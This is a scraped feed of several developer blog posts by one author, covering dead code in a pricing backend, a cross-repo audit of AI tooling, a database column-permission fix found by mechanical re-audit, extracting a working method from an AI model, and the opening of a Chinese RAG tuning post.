&lt;strong&gt;A compile gate covering all runtimes:&lt;/strong&gt; a blocker requiring that the pricing-chain backend function actually compiles. This is the direct counterfactual to "dead code nobody knew about for six months" — had this gate existed, that missing-bracket corpse would've gone red on day one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One thing I deliberately did &lt;strong&gt;not&lt;/strong&gt; do: I didn't heavily rewrite the order-creation procedure body. Because in this repo, "rewrite a gatekeeper function wholesale" has a rap sheet — it wipes out the gatekeeping logic buried inside. (Two prior migrations did exactly that, once wiping a gift-box capacity guard and once a stored-value balance guard, both dead for weeks.) Server-side authority gets promoted later, gradually, through a hook I'd already pre-embedded — without reopening that knife.&lt;/p&gt;




&lt;h2&gt;
  
  
  Turning one expensive insight into a free mechanism forever
&lt;/h2&gt;

&lt;p&gt;This kind of diagnosis is expensive. A non-homologous model, copy-by-copy confrontation, climbing counterfactuals — that burns real tokens. So I have a habit: &lt;strong&gt;every piece of reasoning I've paid for once, I try to make cheap or free the next time.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two reusable things crystallized out this time, sitting at two different moments:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. A lens for the "about to build" moment — the consumer-witness lens.&lt;/strong&gt; A check I built and use daily. Its core is a gate: before you trust, cite, or build on anything that "claims to compute money / to defend / to be the single truth," it &lt;strong&gt;forces you to write two lines&lt;/strong&gt; — (a) which specific caller in production depends on it? (b) which specific test feeds it the same inputs and confronts it against the authority? If you can't write either line, treat it as nonexistent. This lens is the vaccine against that exact "fooled into the wrong framing by a corpse" moment, grown into a gate that knocks before every future reuse.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. A checklist item for the "designing" moment — the server-authoritative rule.&lt;/strong&gt; I maintain a cross-project front-end/back-end completeness checklist (past incidents distilled into check-sentences). This time I added one, with a machine-readable tag so tools can auto-apply it:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Load-bearing &lt;em&gt;computed&lt;/em&gt; values (price, total, balance, stock — the "computed" kind) must be computed by the server, with the client only displaying; the server must &lt;strong&gt;never trust a client-computed load-bearing value verbatim.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is a generalization of an old rule I already had ("no front-end multiplication for the unit-price field") — the old rule covers the pricing special case; this one covers "for every computed load-bearing value, who is allowed to compute it, and whom does the downstream trust." The machine-readable tag means: next time I decompose a new project through my tool-chain, this rule gets &lt;strong&gt;spat out into the spec automatically&lt;/strong&gt;, without me remembering it. Pay once, carry it into every new project free.&lt;/p&gt;

&lt;p&gt;But "spat out automatically" hides a trap I only fixed this time — and it's a vivid one, worth its own beat.&lt;/p&gt;

&lt;p&gt;I'd crystallized that check-sentence library into a machine-readable config file — plainly, an index of "when I hit this sharp edge, here's how I handle it." It hangs on the tool-chain I use to decompose new projects: start a new project and the tool reads it and auto-applies my past scars into the spec. Problem: that config file is &lt;strong&gt;private&lt;/strong&gt; (it lives in a toolkit repo of mine that isn't public), while my project bootstrapper pulls &lt;strong&gt;almost everything else down from public GitHub.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;So you get a very classic tension: &lt;strong&gt;a bootstrapper that fetches everything from a public channel, meeting one file that can't travel a public channel.&lt;/strong&gt; Worse — historically that config file &lt;strong&gt;had never been supplied automatically.&lt;/strong&gt; It sat in a "manual step nobody actually ran." The result: every decomposition &lt;strong&gt;silently ate the neutral defaults&lt;/strong&gt;, and this config I'd painstakingly crystallized contributed exactly zero.&lt;/p&gt;

&lt;p&gt;That is literally the disease this whole post is about, growing back in a new spot: a thing that "should be supplied but isn't" quietly trips no alarm, letting every decomposition &lt;em&gt;believe&lt;/em&gt; it applied the completeness rules when it didn't.&lt;/p&gt;

&lt;p&gt;So I wired the supply in, carefully, every line guarding against "private content leaking into a public repo":&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Never fetch it.&lt;/strong&gt; Unlike the other tools, this config isn't downloaded from GitHub — it's &lt;strong&gt;copied at runtime, on my own machine, from a source already present locally&lt;/strong&gt; (scan a few common folders for that private toolkit, or read a path from an env var). Zero hardcoded private paths in the code. A regular user has none of that private source, so it resolves to "not found," falls back to neutral defaults — &lt;strong&gt;nothing leaks.&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fence it with &lt;code&gt;.gitignore&lt;/code&gt;.&lt;/strong&gt; On supply it auto-adds that private config's folder to the project's &lt;code&gt;.gitignore&lt;/code&gt;, with an iron-rule comment baked in — "never reaches a public repo." So even if you later fat-finger &lt;code&gt;git add .&lt;/code&gt;, it can't reach any outward remote.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fail loud on supply, never silent.&lt;/strong&gt; If no source is found it &lt;strong&gt;says so out loud&lt;/strong&gt; — "config not supplied, this run uses neutral defaults" — because &lt;strong&gt;a silent skip is exactly the bug this fixes.&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I love this bit because it compresses the whole lesson into one concrete action: &lt;strong&gt;a bootstrapper that fetches everything from the public internet meets a private file that can't travel that public channel — so it switches to "smuggle it in locally + fence it with &lt;code&gt;.gitignore&lt;/code&gt; so it can never leak back to a public repo."&lt;/strong&gt; That "never reaches a public repo" iron-rule comment is what an &lt;em&gt;existence constraint&lt;/em&gt; looks like once it's grown into code: "this thing should exist, and only here" written as a rule the program executes, not a line of doc nobody runs.&lt;/p&gt;

&lt;p&gt;For the record, the referenceable deliverables from this round (things I use daily, fed by real incidents — not slideware): a check I call the &lt;strong&gt;consumer-witness lens&lt;/strong&gt; (before reusing anything, force yourself to write down its two witnesses), a cross-project &lt;strong&gt;front-end/back-end completeness checklist&lt;/strong&gt; (every incident distilled into a check-sentence), and an &lt;strong&gt;orphan audit&lt;/strong&gt; script (hunts "zero-caller decorative anchors" — it found thirty-nine in one project alone).&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing: this was never really about pricing
&lt;/h2&gt;

&lt;p&gt;If you filed this under "a story about one pricing bug," you missed the point.&lt;/p&gt;

&lt;p&gt;The two drifting pricing copies were just the most visible projection of the hole. The real hole is that &lt;strong&gt;the copy axis has no forcing function&lt;/strong&gt;: the same "how money is computed / how state is judged" logic actually lives in five physical spots — front-end bundle, back-end bundle, the live DB function body, migration files, repo source — and &lt;strong&gt;nothing guarantees they equal each other.&lt;/strong&gt; They will, and already do, tell different stories.&lt;/p&gt;

&lt;p&gt;So what's actually portable is this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dead code is more dangerous than broken code.&lt;/strong&gt; Broken code blows up and gets fixed; dead code lies quietly in the spot where "some capability should live," fooling every reader of the code — including the AI itself.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A defense with no reader is not a defense.&lt;/strong&gt; A warn-only log, an alert nobody subscribes to, a dashboard nobody looks at — all worth zero.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A single SSOT module is not a single truth.&lt;/strong&gt; A shared import only kills "copy-paste" drift; "deploy-lag" drift is visible only to a confrontation witness.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"The repo has two copies of this code" should not first read as "two implementations."&lt;/strong&gt; First ask: does it compile? does anyone call it? which version is deployed? — very likely it's "one living body plus N zombies," not drift at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If your governance is all change-triggered, it's blind to existential rot.&lt;/strong&gt; Add one existence constraint: every money-computing / defending implementation needs a live consumer plus a confrontation witness, or it gets retired.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That last decision — "don't build on a foundation that drifts; fix the truth first, and bring in a different model to look" — took under a minute. It was the highest-return step in the whole thing. Because an AI reading your code, however confident, is only giving you &lt;strong&gt;instrument testimony.&lt;/strong&gt; Whether to build on it, you have to ask first: this capability — is it actually alive?&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This is one entry in my one-person studio's dev-notes series. The consumer-witness lens, the completeness checklist, and the orphan audit are tools I built and use daily; some are already open-sourced. They aren't theory — every one has a pit like this one behind it, a pit I actually fell into.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/dead-code-more-dangerous-non-homologous-diagnosis-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-dead-code-more-dangerous-non-homologous-diagnosis-en" rel="noopener noreferrer"&gt;Dead Code Is More Dangerous Than Broken Code — How a Non-Homologous AI Caught the Blind Spot the AI Itself Had Rubber-Stamped&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>architecture</category>
      <category>testing</category>
    </item>
    <item>
      <title>AI Auditing an AI's Own Toolchain: The Repair Tool That Overwrote Its Own Fix</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 14:05:34 +0000</pubDate>
      <link>https://dev.to/dexterlung/ai-auditing-an-ais-own-toolchain-the-repair-tool-that-overwrote-its-own-fix-3ce8</link>
      <guid>https://dev.to/dexterlung/ai-auditing-an-ais-own-toolchain-the-repair-tool-that-overwrote-its-own-fix-3ce8</guid>
      <description>&lt;p&gt;I have seven interdependent tool repos — some public, some private — each with its own audit checks, but nobody had ever checked &lt;strong&gt;what happens when they're wired together.&lt;/strong&gt; This post is about handing all seven to Fable5 for a cross-repo audit, and the fact that not one of the real problems it found could have been caught by auditing any single repo alone.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Read on: &lt;a href="https://dev.to/content/fable5-confrontation-point-law-en"&gt;Previous: the Confrontation-Point Law&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-thinking-extraction-en"&gt;Don't ask a model to narrate itself&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-cross-repo-audit"&gt;繁體中文版&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The audit prompt itself went through three drafts
&lt;/h2&gt;

&lt;p&gt;I didn't just paste in "please check these seven repos." The prompt started as a skeleton, then got execution steps, then got filled in with the real seven repos — 5 public tool-chain repos plus 2 private ones (an internal connective framework and a cross-project reuse library). The goal was to write context and boundaries, not a checklist — tell Fable what the terrain is and where the hard lines are, and make verification about mechanism, not about handing over an answer.&lt;/p&gt;

&lt;p&gt;Each repo got its own scanning subagent, plus one independent verifier subagent that never saw the scanners' conclusions. That independent verifier is the part that mattered — it overturned four of the scanning agents' conclusions. The topology itself turned out fine; the two public/private seams both worked correctly. The real problems weren't in any single repo. They were three composition-level failures that &lt;strong&gt;only become visible once you look at all seven together.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The tool that fixes drift can silently overwrite your work
&lt;/h2&gt;

&lt;p&gt;The most interesting one: one tool's job is to detect and repair drift between a local skill copy and its canonical source — if your local copy diverges from the original, it syncs you back up. The problem: in one environment, that "local copy" is actually a Windows junction (a filesystem shortcut) pointing straight at the canonical repo — and the tool's scan logic only checked "is this a directory," never "is this actually a shortcut."&lt;/p&gt;

&lt;p&gt;The result: &lt;strong&gt;a tool built to repair drift will write straight through the shortcut into the canonical repo, potentially overwriting uncommitted work sitting on someone's feature branch.&lt;/strong&gt; The repair tool itself becomes the risk. No single-repo audit could have caught this — the bug doesn't live in any code, it lives in how directories are wired together on a specific machine. That shape is only visible across repos.&lt;/p&gt;

&lt;p&gt;The other two composite failures: an orphaned commit left a cross-repo contract stranded with nothing consuming it; and three places documented something as "prompt-level, optional" that was actually being treated as "code-level, mandatory for everyone" — a documentation/enforcement mismatch that leaves different maintainers with completely different mental models of the same rule.&lt;/p&gt;

&lt;h2&gt;
  
  
  One rule worth stealing: content-level probes, not existence checks
&lt;/h2&gt;

&lt;p&gt;The audit converged on a principle I think is more valuable than any single finding: &lt;strong&gt;"the commit exists" or "the file exists" doesn't count as verified.&lt;/strong&gt; You have to walk the entire propagation chain — local branch, remote default branch, the published artifact or install source, the installed copy — and grep an actual signature string at every single stage, and it has to actually hit, every time.&lt;/p&gt;

&lt;p&gt;That principle is what caught the most important issues in this audit. Downgrade it to an existence check, and the audit still runs, still produces a report, &lt;strong&gt;and catches nothing — which is worse than not running it at all, because it hands you a false green light.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  A real case: how a spec makes frontend and backend asymmetric from birth
&lt;/h2&gt;

&lt;p&gt;The day after the cross-repo checklist converged, a real client project handed us a case that got folded directly into that checklist as a new criterion.&lt;/p&gt;

&lt;p&gt;The setup: a real order-management admin feature with a visible frontend/backend asymmetry. The backend RPC defined an error code called &lt;code&gt;BOOKING_NOT_FOUND&lt;/code&gt; that the frontend's error-message map never learned about. A refund action returned HTTP 501 in production with zero UI indication. A &lt;code&gt;loading&lt;/code&gt; ref was declared and returned but never consumed by any of six admin tabs. An admin-readable transaction table existed and was never queried by the frontend at all.&lt;/p&gt;

&lt;p&gt;We gathered the hard evidence first, then asked for the root cause, not just a symptom list. The diagnosis: the asymmetry wasn't born in any one layer — it was born upstream, in the spec's own output grammar. The original spec gave the backend a &lt;em&gt;model&lt;/em&gt; (field-level data structures) and gave the frontend only a &lt;em&gt;verb&lt;/em&gt; ("view orders and bookings"). Every downstream layer — decomposition, execution, scoring — is deliberately faithful by design, each explicitly instructed not to invent or over-check. So the upstream asymmetry got preserved intact, all the way to the final output. &lt;strong&gt;No layer dropped the ball. The pipeline worked exactly as designed — the design itself just had a blind seam nobody had seen.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Even the fix this diagnosis proposed doubted itself out loud: the suggestion was to add a mandatory "Surface Contract" section (a state row plus a seam row) to the five-element goal format. But the same document flagged its own biggest risk: "once a template becomes mandatory, the most likely failure is that people fill it with boilerplate that formally passes the check while saying nothing real — that's the step I'm most likely to have gotten wrong." A model willing to say, in writing, "my own suggestion might just get rubber-stamped" is more useful to me than the suggestion itself.&lt;/p&gt;

&lt;p&gt;That proposal is, as of this writing, only designed — not yet wired into the actual goal template. Worth saying plainly: &lt;strong&gt;designed is not the same as done.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;A single-repo audit can't see the shape that only exists once tools are wired together — and the most expensive lesson here is that the tool meant to repair drift can be the single riskiest thing in the whole system. "Content-level probes, not existence checks" is a rule worth copying into any multi-repo system you maintain, whether or not you have a Fable5 to run it for you.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/fable5-cross-repo-audit-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-fable5-cross-repo-audit-en" rel="noopener noreferrer"&gt;AI Auditing an AI's Own Toolchain: The Repair Tool That Overwrote Its Own Fix&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>webdev</category>
      <category>devops</category>
    </item>
    <item>
      <title>How a Security Bug Gave Birth to a Method, Then the Method Caught What the Audit Missed</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Tue, 08 Sep 2026 14:05:22 +0000</pubDate>
      <link>https://dev.to/dexterlung/how-a-security-bug-gave-birth-to-a-method-then-the-method-caught-what-the-audit-missed-1c09</link>
      <guid>https://dev.to/dexterlung/how-a-security-bug-gave-birth-to-a-method-then-the-method-caught-what-the-audit-missed-1c09</guid>
      <description>&lt;p&gt;At 5:27pm on 2026-07-03, I revoked self-write access on 8 sensitive columns of our members table. At 9:42pm the same day, I reverted it — an admin save feature started throwing 403 errors. Locked, then unlocked, same day.&lt;/p&gt;

&lt;p&gt;That incident became the seed for a method we call the Confrontation-Point Law. I won't claim it's proven — there's exactly one real case so far, and we've deliberately labeled it "armed, not battle-tested." But that one case is one of my favorite technical stories to date, because what it caught was something a careful human audit had already missed.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Read on: &lt;a href="https://dev.to/content/fable5-thinking-extraction-en"&gt;Previous: don't ask a model to narrate itself&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-cross-repo-audit-en"&gt;Next: AI auditing an AI's own toolchain&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-confrontation-point-law"&gt;繁體中文版&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  That lockdown commit looked careful
&lt;/h2&gt;

&lt;p&gt;The 07-03 lockdown commit's header read: "verified all 5 write paths to the users table site-wide, &lt;code&gt;MembersCenter.vue&lt;/code&gt; goes through &lt;code&gt;fn_admin_*&lt;/code&gt; RPCs." That's not a throwaway line — someone actually enumerated the paths and labeled each as a legitimate channel. On paper, this looked like a solid audit.&lt;/p&gt;

&lt;p&gt;But inside that same file, the function &lt;code&gt;saveEditMember&lt;/code&gt; calls an RPC to write &lt;code&gt;member_level&lt;/code&gt; at line 2010 — &lt;strong&gt;and ten lines later, at line 2020&lt;/strong&gt;, the same function does a raw &lt;code&gt;.from('users').update({ tier_updated_at, tier_expires_at, tier_auto_downgrade })&lt;/code&gt;. Direct write, no gate.&lt;/p&gt;

&lt;p&gt;The same function was, at the file level, a proper RPC channel — and at the field level, simultaneously an unguarded direct-write channel. That gap is exactly what triggered the 403s that night, and exactly why we reverted four hours later.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a careful audit still missed it
&lt;/h2&gt;

&lt;p&gt;Looking back, what bothers me isn't that there was a bug. It's &lt;strong&gt;why a careful audit still missed it.&lt;/strong&gt; The answer is blunt: the auditor read the code, saw the RPC call, saw a comment that said "goes through RPC," and issued a file-level verdict. &lt;strong&gt;The census got outsourced to narrative.&lt;/strong&gt; The fire wasn't because the set of write points was too large to enumerate — we later verified the whole frontend only touches that field in 3 files, something a dumb grep finds in seconds. The fire was because the verdict substituted "I read it, looks fine" for "I mechanically checked every single line."&lt;/p&gt;

&lt;p&gt;That finding is what produced the first rule of the Confrontation-Point Law: &lt;strong&gt;every frozen judgment needs to name its confrontation point&lt;/strong&gt; — a place where intent and actual state are forced to meet, where any disagreement blocks progress, sitting right on the boundary where real harm happens. Who's allowed to sit in the "this is what's actually true" seat? Only a machine — a real query like &lt;code&gt;has_column_privilege&lt;/code&gt;, never an agent reading code and saying "I checked, looks fine." Narrative sitting in that seat is a fake census. That "goes through RPC" comment is a live example of narrative sitting in the wrong seat.&lt;/p&gt;

&lt;h2&gt;
  
  
  The same week, a mechanical re-audit caught 3 leaks the human review missed
&lt;/h2&gt;

&lt;p&gt;On 07-04, instead of trusting "I read it, looks fine" again, we ran a fully mechanical re-census: every claimed-legitimate write point had to be re-derived through grep/AST plus an actual privilege query. Anything that couldn't be re-derived got flagged red on the spot — no exceptions.&lt;/p&gt;

&lt;p&gt;This caught 3 admin direct-write points the earlier review had completely missed: &lt;code&gt;renewTier&lt;/code&gt;, &lt;code&gt;dismissBinding&lt;/code&gt;, &lt;code&gt;importMembers&lt;/code&gt;. All 8 sensitive columns were re-verdicted from scratch — all 8 came back safe to revoke — and the three admin write paths got migrated into three new SECURITY DEFINER RPCs. This time the rollout order was deliberately sequenced: ship the RPCs first, wait for the frontend deploy to land, &lt;em&gt;then&lt;/em&gt; run the revoke — specifically to avoid repeating the 07-03 disaster of locking permissions before the frontend had caught up.&lt;/p&gt;

&lt;p&gt;After going live, we actually verified it in production, not just in code review: a regular member trying to self-write any of the 8 columns gets a 403; all 5 admin paths still work.&lt;/p&gt;

&lt;h2&gt;
  
  
  I'm not going to oversell this
&lt;/h2&gt;

&lt;p&gt;Honestly: this whole method has &lt;strong&gt;exactly one real case&lt;/strong&gt; behind it so far. We deliberately don't call it "battle-tested" — only "armed": self-tests pass, an injected regression test passes, but it hasn't yet stopped a real attack we didn't already know about. That line is written into the method itself: armed is not the same evidence tier as battle-tested.&lt;/p&gt;

&lt;p&gt;There's a funny footnote to how this method got written, too: one of the prompts we fed to Fable had a placeholder bug that silently ate the draft content. Fable didn't hallucinate a plausible-sounding answer to cover for it — it just refused to answer. We retroactively counted that refusal as a live demonstration of the exact principle we were designing: refusing to answer is itself a legitimate output.&lt;/p&gt;

&lt;p&gt;One more loose thread, left here honestly rather than swept under the rug: the same review found &lt;code&gt;Addresses.vue&lt;/code&gt; writing to a column called &lt;code&gt;addresses&lt;/code&gt; that doesn't actually exist in the database. That's deliberately out of scope for this fix and still unresolved.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaway
&lt;/h2&gt;

&lt;p&gt;A careful-looking audit can still lie at the field level, if its "verified" claim comes from a human reading code and forming a narrative judgment. A census you can actually trust is one where every single row can be mechanically re-derived — anything that can't gets flagged, no matter how confident the write-up sounds. And keep "armed" and "battle-tested" as two different evidence tiers — blurring them is just lying to yourself with extra steps.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/fable5-confrontation-point-law-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-fable5-confrontation-point-law-en" rel="noopener noreferrer"&gt;How a Security Bug Gave Birth to a Method, Then the Method Caught What the Audit Missed&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>webdev</category>
      <category>devops</category>
    </item>
    <item>
      <title>Don't Ask a Model to Narrate Itself: How I Actually Extracted a Method From Fable5</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Thu, 03 Sep 2026 13:05:17 +0000</pubDate>
      <link>https://dev.to/dexterlung/dont-ask-a-model-to-narrate-itself-how-i-actually-extracted-a-method-from-fable5-5071</link>
      <guid>https://dev.to/dexterlung/dont-ask-a-model-to-narrate-itself-how-i-actually-extracted-a-method-from-fable5-5071</guid>
      <description>&lt;p&gt;The first time I wanted to "learn how Fable5 thinks," I did the obvious thing: I asked it directly. "How do you approach a problem?" I copied down the answer, then kept asking, until it grew into an eleven-book set — a how-to guide, a book on perspective training, a book on code-review instincts, all the way up to a "main volume."  It looked thorough. It took real time to assemble.&lt;/p&gt;

&lt;p&gt;Then the whole set got overturned by its own method. Not because the content was wrong — because &lt;strong&gt;the approach itself was self-contradictory.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Read on: &lt;a href="https://dev.to/content/spec-sonar-design-journal-part-1-en"&gt;spec-sonar design journal, Part 1&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-confrontation-point-law-en"&gt;Next: the Confrontation-Point Law&lt;/a&gt; · &lt;a href="https://dev.to/content/fable5-thinking-extraction"&gt;繁體中文版&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  The problem: I used an untrustworthy method to study a doctrine about not trusting self-reports
&lt;/h2&gt;

&lt;p&gt;It was Opus that pointed out the embarrassing part: Fable's own core doctrine says don't trust self-reports — look at what actually got done, not what got said about it. And the method I'd used to write those eleven books was exactly that: ask "how do you think," then treat the answer as ground truth.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I used the discredited method to document the very doctrine that discredits it.&lt;/strong&gt; Once that was named, only four principles out of the whole set survived. Everything else needed a rebuild. I wasn't angry so much as deflated — that wasn't ten minutes of work, it was a full conversation's output, now judged to have a broken foundation.&lt;/p&gt;

&lt;h2&gt;
  
  
  The fix: stop asking what it thinks, start reverse-engineering what it actually did
&lt;/h2&gt;

&lt;p&gt;The new method was simple: instead of asking "how do you think," we took two things Fable5 had actually produced — the &lt;code&gt;router-reasoning.md&lt;/code&gt; and &lt;code&gt;decision-table.md&lt;/code&gt; from an n8n cold-start generator — and reverse-engineered the decision rules baked into them. Trust the scar, not the self-report — applied to the method itself, this time.&lt;/p&gt;

&lt;p&gt;Then we ran a two-pass adversarial interview, four rounds. Pass one: no draft shown, free-form answers. Pass two: show it the draft, let it attack. The point of this structure is to surface two different kinds of error — pass one catches what we didn't think of; pass two catches what we got wrong.&lt;/p&gt;

&lt;p&gt;Round one already surprised us. We'd planned to frame the method as something like "five joints." Fable rewrote the whole naming itself: forge, runway, customs — forge is where you're still building, runway is where you run an already-proven pattern, customs is the border crossing where the two are forced to meet and get checked. That wasn't a wording polish. It was a correction to how we'd classified our own method.&lt;/p&gt;

&lt;h2&gt;
  
  
  Round two: it caught an error happening live, inside our own document
&lt;/h2&gt;

&lt;p&gt;Round two got more interesting. Opus's compressed one-line summary read: "reduce cold-start to lookup then emit a goal graph." Sounds fine. Fable pointed out that compression had quietly deleted two non-happy-path exits — "ask" and "stop" — which happen to be where every safety mechanism in the method actually lives. We checked the real document. The omission was real.&lt;/p&gt;

&lt;p&gt;Something more embarrassing happened in the same round: Opus had written, in its own appendix, "we need to update this playbook" — and never did. Fable caught that live drift and used it as proof of its own thesis on the spot: canonical and working copies drift, not as theory, but as something happening in front of us.&lt;/p&gt;

&lt;h2&gt;
  
  
  Round four: an exam that could actually fail
&lt;/h2&gt;

&lt;p&gt;Round four was a holdout test — a problem it had never seen (e-invoice integration), to see whether it would apply the same method cold. It didn't improvise an answer. It first grepped the real repo, found an old "manual invoice era" precedent, and answered from that. We checked afterward, line by line: the file and line number it cited matched the real file, verbatim.&lt;/p&gt;

&lt;p&gt;That was the first time I'd actually &lt;em&gt;verified&lt;/em&gt; a model's reasoning instead of just feeling like it guessed right — &lt;strong&gt;and a verified-correct answer is a categorically different thing from a lucky-and-unchecked one.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The last move: it turned its own rule against itself
&lt;/h2&gt;

&lt;p&gt;The whole extraction closed on one line from Fable:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"You keep saying evidence. Do you have any evidence for yourself?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The method's own second core tenet is the evidence rule — every frozen claim needs an anchor you can check. Fable pointed out that the entire playbook had, up to that point, zero evidence for its own validity. We thought the interview was over. Instead we got judged by the very method we'd built.&lt;/p&gt;

&lt;p&gt;So we ran a "firing-record audit" — checking every claim in the method against the real git history of the CS project. The result wasn't a flat "no evidence." It split into three tiers: &lt;strong&gt;battle-tested&lt;/strong&gt; (actually stopped a real problem), &lt;strong&gt;armed but not fired&lt;/strong&gt; (the mechanism exists but hasn't faced a real test yet), and &lt;strong&gt;structurally unfireable&lt;/strong&gt; (there's no way this claim could ever be checked). That three-tier grading is now how we evaluate any governance mechanism we build — not a vague "does it work," but an honest label of what evidence tier it's actually at.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it cost me
&lt;/h2&gt;

&lt;p&gt;Honestly: I never deleted those eleven overturned books, but I stopped using them. That was a full conversation's worth of time, spent to arrive at "the approach itself was wrong." If there's one real scar in this piece, it's that — &lt;strong&gt;I picked the wrong extraction method first, and it took a whole round to find out.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What crystallized
&lt;/h2&gt;

&lt;p&gt;The four rounds converged into two reusable skills: &lt;code&gt;connective-system-design&lt;/code&gt; (forge/runway/customs, for designing cross-system connections) and &lt;code&gt;root-cause-diagnosis&lt;/code&gt; (counterfactual climbing, for finding a systemic root cause). The seal Fable added itself: &lt;strong&gt;"Trust the scar, not me."&lt;/strong&gt; — including don't fully trust this article either. Go check the anchors.&lt;/p&gt;

&lt;p&gt;The method was immediately put to two real tests: a cross-repo ecosystem audit across seven repos, and a real client project's frontend/backend asymmetry diagnosis. Both are the next two posts in this series.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Takeaway:&lt;/strong&gt; if you want to actually learn a method from a model, don't ask "how do you think" — look at what it actually produced, reverse-engineer the rule, test it on something new, and verify before you believe it. A self-report isn't free truth. It's a claim you still have to go check.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;本文原載於我的部落格：&lt;a href="https://coffeeshooters.com/content/fable5-thinking-extraction-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-fable5-thinking-extraction-en" rel="noopener noreferrer"&gt;Don't Ask a Model to Narrate Itself: How I Actually Extracted a Method From Fable5&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>webdev</category>
      <category>devops</category>
    </item>
    <item>
      <title>I turned both knobs on my on-prem Chinese RAG all the way up. It didn't get a single extra question right</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Tue, 01 Sep 2026 13:05:15 +0000</pubDate>
      <link>https://dev.to/dexterlung/i-turned-both-knobs-on-my-on-prem-chinese-rag-all-the-way-up-it-didnt-get-a-single-extra-question-18im</link>
      <guid>https://dev.to/dexterlung/i-turned-both-knobs-on-my-on-prem-chinese-rag-all-the-way-up-it-didnt-get-a-single-extra-question-18im</guid>
      <description>&lt;h2&gt;
  
  
  Something you can do right now
&lt;/h2&gt;

&lt;p&gt;If you're about to "increase the retrieval depth" or "swap in a newer reranker" to improve your Chinese RAG accuracy, &lt;strong&gt;spend ten seconds on this first&lt;/strong&gt;:&lt;/p&gt;

&lt;p&gt;Take one question you got wrong, and compute &lt;strong&gt;where the passage containing the correct answer ranks in your raw vector similarity&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;No reranker. No full pipeline. One embedding call and one round of cosine similarity.&lt;/p&gt;

&lt;p&gt;That number decides everything downstream:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;If it ranks &lt;strong&gt;outside&lt;/strong&gt; your candidate depth → going deeper &lt;em&gt;might&lt;/em&gt; help (only might — see below)&lt;/li&gt;
&lt;li&gt;If it ranks &lt;strong&gt;inside&lt;/strong&gt; your candidate depth → going deeper &lt;strong&gt;definitely won't&lt;/strong&gt;, and your bottleneck is somewhere else&lt;/li&gt;
&lt;/ul&gt;

